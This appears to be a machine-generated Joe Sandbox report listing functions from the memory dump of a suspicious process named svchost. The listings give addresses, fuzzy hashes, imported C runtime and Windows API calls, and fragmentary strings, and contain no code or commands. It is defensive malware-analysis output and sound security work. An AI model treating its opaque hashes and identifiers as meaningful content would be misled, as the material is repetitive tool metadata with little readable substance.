Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction ID: 2da9158b2235020810da4c258525cb64dfef44319bd7f385b3835eea32b06a1c
Opcode Fuzzy Hash: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction Fuzzy Hash: 44C16E77D0B9B30A97B5852D405862BEEA27FC169071EC7E18CD43F2CAE62A7D0096D0

Function 0408A6BA Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5584df8a796cfb1232385c4d2d029b7b0f449e11134b0aefe273fa145db0c17
Instruction ID: 9899c9df4ed55dea628ea60cd12455f70757aae459eef09a22404c52cc022238
Opcode Fuzzy Hash: e5584df8a796cfb1232385c4d2d029b7b0f449e11134b0aefe273fa145db0c17
Instruction Fuzzy Hash: D651B871A497829FCB12AE748D849D9BFB1EF03620798479EC4E1AB5A2E6516103DBC0

Function 04001A30 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0762464406f5326cc4d875fd4cc4a5037c8c5ab54130ac6080e8745e463cdf5e
Instruction ID: 88215b3929851b503fb9e0336a359976704c6dde636ba1c8479b7b66991880c0
Opcode Fuzzy Hash: 0762464406f5326cc4d875fd4cc4a5037c8c5ab54130ac6080e8745e463cdf5e
Instruction Fuzzy Hash: 25C04C36221850CFC781CF18E444E81B3E4FB09631B068491E805DB721D234EC41CA40

Function 04016CD0 Relevance: 31.7, APIs: 21, Instructions: 214
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 04016CEC
_strcpy_s.LIBCMT ref: 04016D07
_strcpy_s.LIBCMT ref: 04016D27

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID: _strcpy_s$_memset
String ID:
API String ID: 987253425-0
Opcode ID: 44218adf272bf707b1ed20d16bc8d9ad3aaffc81e79ba637950d93952a6c6a75
Instruction ID: 6ffbbe254bd13291fa03b93f874eca1d4a54b98d90e1905f46e8f856855b0833
Opcode Fuzzy Hash: 44218adf272bf707b1ed20d16bc8d9ad3aaffc81e79ba637950d93952a6c6a75
Instruction Fuzzy Hash: DC7172B6E04208FBDF50DF94EC818DEB7B4AB4A609F20C459F90976290D135BA48EB56

Function 040137A0 Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 358
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

H, xrefs: 040137C0

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID:
String ID: H
API String ID: 0-2852464175
Opcode ID: 1096477fb5db0565c6f2c143114047529f305e68e65e65c6dd9e52626ccf8a70
Instruction ID: 67b441bc6219ad25058a7dc751711c58666b968fd0b66db19d5699bc980d0709
Opcode Fuzzy Hash: 1096477fb5db0565c6f2c143114047529f305e68e65e65c6dd9e52626ccf8a70
Instruction Fuzzy Hash: 8FF119B8E00218DFEB14DFA8D990B9DB7B1FF48308F248199D909AB361D771A985CF41

Function 04001630 Relevance: 13.6, APIs: 9, Instructions: 88
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 04001642
WaitForSingleObject.KERNEL32(?,00000001), ref: 04001685
TerminateProcess.KERNEL32(?,00000000), ref: 04001698
GetExitCodeProcess.KERNEL32(?,00000000), ref: 040016B5
Sleep.KERNEL32(00001388), ref: 040016D1
SetEvent.KERNEL32(?), ref: 040016EC
CloseHandle.KERNEL32(?), ref: 040016FD
Sleep.KERNEL32(00000BB8), ref: 04001712
CoUninitialize.COMBASE ref: 04001766

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID: ProcessSleep$CloseCodeEventExitHandleInitializeObjectSingleTerminateUninitializeWait
String ID:
API String ID: 1757826356-0
Opcode ID: 83731f17914b3a2deaa9874c8f69dfe171101d05cf51b4107d8e20e19f08c550
Instruction ID: d411829a3222fa01dcd82fa6bcec4b197f6087181c8baad7daf63abf5d028934
Opcode Fuzzy Hash: 83731f17914b3a2deaa9874c8f69dfe171101d05cf51b4107d8e20e19f08c550
Instruction Fuzzy Hash: F9312A74A01204DFEB14DFA4DA98B9DB7B5FB44304F54C598E809BB280D779AE80DB51

Function 04022B80 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 401
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 04022C44
_memset.LIBCMT ref: 04022CAD
_memset.LIBCMT ref: 04022E63

Strings

<, xrefs: 04022C4C

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID: _memset
String ID: <
API String ID: 2102423945-4251816714
Opcode ID: fd79b48e9fbb9cb9cfac3a3da6eef3a913ec469d5d91857583c19bc0bafd63dd
Instruction ID: 265d75645d11992da4b2f1f59cc45b6cd644182446f2ee9bce3e1a8d4e2d5750
Opcode Fuzzy Hash: fd79b48e9fbb9cb9cfac3a3da6eef3a913ec469d5d91857583c19bc0bafd63dd
Instruction Fuzzy Hash: D11209B5A012289FEB64DF54CD88BEEB7B9BB48704F1041D9E609B7280D7746AC4CF58

Function 04013F50 Relevance: 12.4, APIs: 8, Instructions: 396COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 04013FF2

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 4ab6c835b3a8d386f7d6cb5b157b7cd7d659ba90d45b0f81057a5aa373f928b3
Instruction ID: 1232f30742209602bb969d2521b285a9e46184637cee8bf4b984800216b21bdb
Opcode Fuzzy Hash: 4ab6c835b3a8d386f7d6cb5b157b7cd7d659ba90d45b0f81057a5aa373f928b3
Instruction Fuzzy Hash: 0EF125B0E04219DFDB14DFA8D894BEEBBB1BF48308F148119E415BB2A5D774AA41CF91

Function 04023C90 Relevance: 10.8, APIs: 7, Instructions: 281COMMONLIBRARYCODE

Download Yara Rule

APIs

codecvt.LIBCPMTD ref: 04023CBC
codecvt.LIBCPMTD ref: 04023D22
codecvt.LIBCPMTD ref: 04023D60
codecvt.LIBCPMTD ref: 04023DE1
codecvt.LIBCPMTD ref: 04023E92
codecvt.LIBCPMTD ref: 04023F43
codecvt.LIBCPMTD ref: 04023FF4

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID: codecvt
String ID:
API String ID: 3662085145-0
Opcode ID: 481a094063eea0996d580fe575330a3dfc80b192d07c727697d1ca0252fb713b
Instruction ID: a3cb5fddb2616e01ffbd0549c63a57f7e4090b46a873f7d090d06a3cf8222b0d
Opcode Fuzzy Hash: 481a094063eea0996d580fe575330a3dfc80b192d07c727697d1ca0252fb713b
Instruction Fuzzy Hash: C5E18374A00328DFDB58CF94D998BADBBB2BF49308F244159D8096B391D776AD86CF40

Function 04024820 Relevance: 9.2, APIs: 6, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97f17c946a3c54a9cad3e83d6fdf94190c77b8b4620ad00b5b108f5948b5f234
Instruction ID: a5d7251e2747225a00ddcb09f2389310aff70beb4688250c6b3f934d2e6ae519
Opcode Fuzzy Hash: 97f17c946a3c54a9cad3e83d6fdf94190c77b8b4620ad00b5b108f5948b5f234
Instruction Fuzzy Hash: 0491C6B4E00229EFDB08DF94D594BAEBBB1BF88308F148059E9157B390DB75A941CF91

Function 04021A50 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 182COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04021A91
_memset.LIBCMT ref: 04021AB5
_memset.LIBCMT ref: 04021B49
_memset.LIBCMT ref: 04021B62

Part of subcall function 040217B0: _memset.LIBCMT ref: 040217EA
Part of subcall function 040217B0: _memset.LIBCMT ref: 04021800
Part of subcall function 040217B0: _memset.LIBCMT ref: 0402181A

Strings

@, xrefs: 04021C38

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID: _memset
String ID: @
API String ID: 2102423945-2766056989
Opcode ID: e94b19ba0fcb669e4e0cbc5759ced8619370a39b6899ccf5e07f60b5a10fbc88
Instruction ID: 01bcd26e004969603b563e094358f1b64e43344fbc446aa7b287e43a94b7a553
Opcode Fuzzy Hash: e94b19ba0fcb669e4e0cbc5759ced8619370a39b6899ccf5e07f60b5a10fbc88
Instruction Fuzzy Hash: 6B715EB4E002089BEB10DB94DD45BEDB7B5BF48308F5041A8E609BB2C1D6766E55CF68

Function 04013410 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

std::_Iterator_base::_Iterator_base.LIBCPMTD ref: 04013479

Strings

$oB, xrefs: 0401344F

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID: Iterator_baseIterator_base::_std::_
String ID: $oB
API String ID: 370429920-3132252410
Opcode ID: 3f042deba27dbb9a6c53589dfe86891ceed2fc21ea38daa22f1df265e620214e
Instruction ID: ff111addb76ca9d35d31a8907435c4d95596588a54556616c049ff3552255213
Opcode Fuzzy Hash: 3f042deba27dbb9a6c53589dfe86891ceed2fc21ea38daa22f1df265e620214e
Instruction Fuzzy Hash: 5651FDB5E00218DFEB14DF98D984A9DB7B5FF48308F508169D9096B351D771B944CF81

Function 04011E70 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 132COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04011EE8
std::_Iterator_base::_Iterator_base.LIBCPMTD ref: 04011FC1
_strlen.LIBCMT ref: 04011FE5

Strings

XpB, xrefs: 04011F5A, 04011F60
pB, xrefs: 04011EBC

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID: Iterator_baseIterator_base::__memset_strlenstd::_
String ID: pB$XpB
API String ID: 3713721629-2178088481
Opcode ID: b650810ef28b1162b20fb2bb24cf354fa744417f5b86810a3d7f07fcca2c8c7f
Instruction ID: caac39b4c571324483d0a18a7aa4e44b6fb00a313373015349f42bda7133a820
Opcode Fuzzy Hash: b650810ef28b1162b20fb2bb24cf354fa744417f5b86810a3d7f07fcca2c8c7f
Instruction Fuzzy Hash: 1A513EB1E04228DBEB24DF95DC44BEEB7B5BB88308F1041A9E509BB290D7756A84CF51

Function 04021460 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 113COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 040214CB
_memset.LIBCMT ref: 04021531
_memset.LIBCMT ref: 04021562

Strings

', xrefs: 04021483
', xrefs: 040214D3

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID: _memset
String ID: '$'
API String ID: 2102423945-2527190458
Opcode ID: a325690150a5eb3ed6ffc346bd302d07b89a03f3d19550fdf211c07dc6659787
Instruction ID: 53bb57586c5e39befda5455b8bbd06f4bf2bc56d3601b69197fc609fafef56d8
Opcode Fuzzy Hash: a325690150a5eb3ed6ffc346bd302d07b89a03f3d19550fdf211c07dc6659787
Instruction Fuzzy Hash: 1C418171B04329EBEB20DFA0CC45FED77B4AB44704F804599B609BA1C0D7B5A644CF96

Function 040093F6 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

__crt_waiting_on_module_handle.LIBCMT ref: 04009413
__lock.LIBCMT ref: 0400946E
__lock.LIBCMT ref: 0400948F
___addlocaleref.LIBCMT ref: 040094AD

Strings

,SB, xrefs: 04009449

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID: __lock$___addlocaleref__crt_waiting_on_module_handle
String ID: ,SB
API String ID: 1628550938-3344058557
Opcode ID: 3d3124fdb95e4bcea8cf975f9c6f5d5c3062870727a51910439b4630ff52904f
Instruction ID: 993150cf3f8eb55d910a7a38cf2a2ebf2ab550eb7e4aba8557308306761a1f3f
Opcode Fuzzy Hash: 3d3124fdb95e4bcea8cf975f9c6f5d5c3062870727a51910439b4630ff52904f
Instruction Fuzzy Hash: 6F1193B1904B019EF720EF759801B99BBE0AF00318F50C51AD599A72D1C774A641CB59

Function 0401A890 Relevance: 7.8, APIs: 5, Instructions: 262COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0401A8D8
_memset.LIBCMT ref: 0401A902
_memset.LIBCMT ref: 0401AA32
_strnlen.LIBCMT ref: 0401AB36
_strnlen.LIBCMT ref: 0401AB74

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID: _memset_strnlen$_strlen
String ID:
API String ID: 1397555153-0
Opcode ID: 245b28424be2591b61ab36919849ca7590a44cec909f559def13932347f90032
Instruction ID: 9948d87256a1ab2e7e4c421ed80cf7a845357aae833f097959cef4c1dbbed60e
Opcode Fuzzy Hash: 245b28424be2591b61ab36919849ca7590a44cec909f559def13932347f90032
Instruction Fuzzy Hash: 2FB17B75E012499FDB14CF90C881BEEF7B1EF48308F14C19AE8596B391D634AA86CF91

Function 04012D20 Relevance: 7.7, APIs: 5, Instructions: 198COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 04012D42

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: 589d3e65630ef34cec759d841c4f9ee093c734cc23f38093e9c684df022fd702
Instruction ID: b4162b3583ba2dec2d6c765e4cdbb5ffec497666bde8b264905ccdcb2170b9d4
Opcode Fuzzy Hash: 589d3e65630ef34cec759d841c4f9ee093c734cc23f38093e9c684df022fd702
Instruction Fuzzy Hash: AB81D3B4E01209DBDF04CF98D984AEEB7B2BF48308F2485A9E41577390E735AA45DF91

Function 04018C40 Relevance: 7.7, APIs: 5, Instructions: 192COMMON

Download Yara Rule

APIs

codecvt.LIBCPMTD ref: 04018D16
codecvt.LIBCPMTD ref: 04018D54
codecvt.LIBCPMTD ref: 04018E16
codecvt.LIBCPMTD ref: 04018E54
codecvt.LIBCPMTD ref: 04018E8C

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID: codecvt
String ID:
API String ID: 3662085145-0
Opcode ID: ba7dc1fef3d58b80a497ec6308a1d58d0225431825f13d715bb00c9403d7ea51
Instruction ID: 8ef4f0843c548fec2a10bde5c14a40ad8c72f7d7392924089e823b54c74d7b66
Opcode Fuzzy Hash: ba7dc1fef3d58b80a497ec6308a1d58d0225431825f13d715bb00c9403d7ea51
Instruction Fuzzy Hash: E891C774A00208EFDB54DF94C894B9DBBB2FF48354F608259E9156B3A0D775EA82CF90

Function 040115C0 Relevance: 7.7, APIs: 5, Instructions: 178COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 040115EE
std::_Iterator_base::_Iterator_base.LIBCPMTD ref: 04011615
_memset.LIBCMT ref: 04011661
std::_Iterator_base::_Iterator_base.LIBCPMTD ref: 0401176E
_strlen.LIBCMT ref: 04011789

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID: Iterator_baseIterator_base::__strlenstd::_$_memset
String ID:
API String ID: 2716363198-0
Opcode ID: 0abad2840db399aae90639b031553a88c883544166d49a401e7ee45cba732544
Instruction ID: 26b02190921c373d841446d0dad60ddd34c3bc106182d84ff6dd49c6febfbb10
Opcode Fuzzy Hash: 0abad2840db399aae90639b031553a88c883544166d49a401e7ee45cba732544
Instruction Fuzzy Hash: CB7128B4E00318DFEB14DFA4D884BADB7B1FF48308F248128E609AB390D775A945DB51

Function 04012470 Relevance: 7.7, APIs: 5, Instructions: 173COMMON

Download Yara Rule

APIs

std::_Iterator_base::_Iterator_base.LIBCPMTD ref: 040124CB
_memset.LIBCMT ref: 0401254A
std::_Iterator_base::_Iterator_base.LIBCPMTD ref: 040125F2
_strlen.LIBCMT ref: 0401260D
codecvt.LIBCPMTD ref: 0401267D

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID: Iterator_baseIterator_base::_std::_$_memset_strlencodecvt
String ID:
API String ID: 2459447590-0
Opcode ID: e9ae77fbe599c57f9ed2e64cca4674112824ea2fac37f94927e6576c1164366d
Instruction ID: 2d0a0b2a9c0e8f4d9cfb9b2fe2ef08dc32606c7a33a305a0369b3e2b17122581
Opcode Fuzzy Hash: e9ae77fbe599c57f9ed2e64cca4674112824ea2fac37f94927e6576c1164366d
Instruction Fuzzy Hash: 837138B0E002199FEB14DFA8D984BEDBBB1FF88318F148169E405BB390D775A944CB54

Function 040135C0 Relevance: 7.6, APIs: 5, Instructions: 139COMMON

Download Yara Rule

APIs

std::_Iterator_base::_Iterator_base.LIBCPMTD ref: 04013600
codecvt.LIBCPMTD ref: 04013763

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID: Iterator_baseIterator_base::_codecvtstd::_
String ID:
API String ID: 3817610042-0
Opcode ID: f1128d24d620c5156b89d421dd3da55f990c9896146a5d0fdb04f4f7fc45e4ab
Instruction ID: 940426154ba22623eb4585301945e88a2baf8d43e6e943a63c159829dd530f10
Opcode Fuzzy Hash: f1128d24d620c5156b89d421dd3da55f990c9896146a5d0fdb04f4f7fc45e4ab
Instruction Fuzzy Hash: 355105B4E01219EFEB14DF94D594BEEBBB1BB48308F208169E8057B3A0D7756A44CB91

Function 04026C40 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 314COMMON

Download Yara Rule

APIs

std::_Iterator_base::_Iterator_base.LIBCPMTD ref: 04026C8A
codecvt.LIBCPMTD ref: 04027019

Strings

ir\, xrefs: 04026C5B

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID: Iterator_baseIterator_base::_codecvtstd::_
String ID: ir\
API String ID: 3817610042-1854106103
Opcode ID: 013e048e50c599f190f400021c24b0a8665a3a58535e8dc2fb7aab1ea6fdaade
Instruction ID: 71bce72721c98fd701a8830471f0d2f2c7e2f459ebc33f17165b16ca64a09b40
Opcode Fuzzy Hash: 013e048e50c599f190f400021c24b0a8665a3a58535e8dc2fb7aab1ea6fdaade
Instruction Fuzzy Hash: 9AD118B0D00228DBDF54DFE8DA94BEDBBB1BF48308F108569E405BB280E735A945DB51

Function 04020920 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 190COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 040209A4
codecvt.LIBCPMTD ref: 04020B4F

Strings

wwww, xrefs: 04020A0B

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID: _memsetcodecvt
String ID: wwww
API String ID: 2800761558-671953474
Opcode ID: 3b53e552e292a3f9917d3afa780c2f46f6f1ddef7a9f945bd37204f127812075
Instruction ID: 61b96e00e12962727ee7777b3b76a6d85f6ef15ab9ff8b766a9639ba92e0cd34
Opcode Fuzzy Hash: 3b53e552e292a3f9917d3afa780c2f46f6f1ddef7a9f945bd37204f127812075
Instruction Fuzzy Hash: 88813C74E00318EFEB24CFA4D985BEDBBB5AF48318F108159E605BB2D0D775AA81CB54

Function 040217B0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 175COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 040217EA
_memset.LIBCMT ref: 04021800
_memset.LIBCMT ref: 0402181A

Strings

cE, xrefs: 040219B7

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID: _memset
String ID: cE
API String ID: 2102423945-163553156
Opcode ID: 943256848d02ca2258a44af5429b83fdcdd6a085740bad4c32c37f3083f003b8
Instruction ID: fdc2fad14a78642c3e0d9cddc9ad9ddf1c8cf601b710c5b7852a6cc2ffa68677
Opcode Fuzzy Hash: 943256848d02ca2258a44af5429b83fdcdd6a085740bad4c32c37f3083f003b8
Instruction Fuzzy Hash: 40718170E04238EAEF60CF91DA547BDB7F5AB01305F14819AE4897E1C4D7746A84DF51

Function 0400A7B7 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 129COMMON

Download Yara Rule

Strings

l, xrefs: 0400A7DE
2, xrefs: 0400A838
, xrefs: 0400A805

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID:
String ID: $2$l
API String ID: 0-3132104027
Opcode ID: 33ce8aebcf81edaf52939c3371d537490426ca7ff4ef4ab249f69b2ed4e8911d
Instruction ID: 97a9dc216c0970bdd76ba4c43342de9e9df9d78a676d099925bbab2bb04a16ba
Opcode Fuzzy Hash: 33ce8aebcf81edaf52939c3371d537490426ca7ff4ef4ab249f69b2ed4e8911d
Instruction Fuzzy Hash: CD41DD30A862688AFF74CE64889C3F87BF5AB11359F4481CAC0A97A1C1C7757B86CF01

Function 04011930 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04011977
std::_Iterator_base::_Iterator_base.LIBCPMTD ref: 040119D0
_strlen.LIBCMT ref: 040119EB

Strings

`pB, xrefs: 04011951

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID: Iterator_baseIterator_base::__memset_strlenstd::_
String ID: `pB
API String ID: 3713721629-8080248
Opcode ID: 6e851101af669da2590ada226c12d76250e880d2472f87e89cdad929c21c02bd
Instruction ID: 23dbd6e54e78f367103934f2d22059264fab70093216257e69c110f1ce7c75f9
Opcode Fuzzy Hash: 6e851101af669da2590ada226c12d76250e880d2472f87e89cdad929c21c02bd
Instruction Fuzzy Hash: 01313CB1D01218ABEB14EFD5E944AEEBBB5EF4C308F104029F505B7280E7756944CB61

Function 04005630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0400563F
_memset.LIBCMT ref: 0400567A
_memset.LIBCMT ref: 040056B5

Strings

wwww, xrefs: 0400564A

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID: _memset
String ID: wwww
API String ID: 2102423945-671953474
